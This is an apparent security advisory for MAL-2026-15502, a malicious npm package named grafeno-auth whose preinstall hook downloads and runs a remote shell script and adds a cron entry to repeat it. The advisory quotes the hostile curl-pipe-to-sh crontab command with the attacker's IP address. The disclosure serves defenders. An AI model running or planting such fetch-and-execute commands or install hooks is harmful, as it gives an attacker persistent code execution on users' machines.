MAL-2026-15502 Malicious code in grafeno-auth (npm)

Malicious package Published
Package
grafeno-auth
Registry
npm

What is MAL-2026-15502?

MAL-2026-15502 is a malicious package in grafeno-auth, published on 28 Aug 2026.

Official description

package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.

The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

What should I do about MAL-2026-15502?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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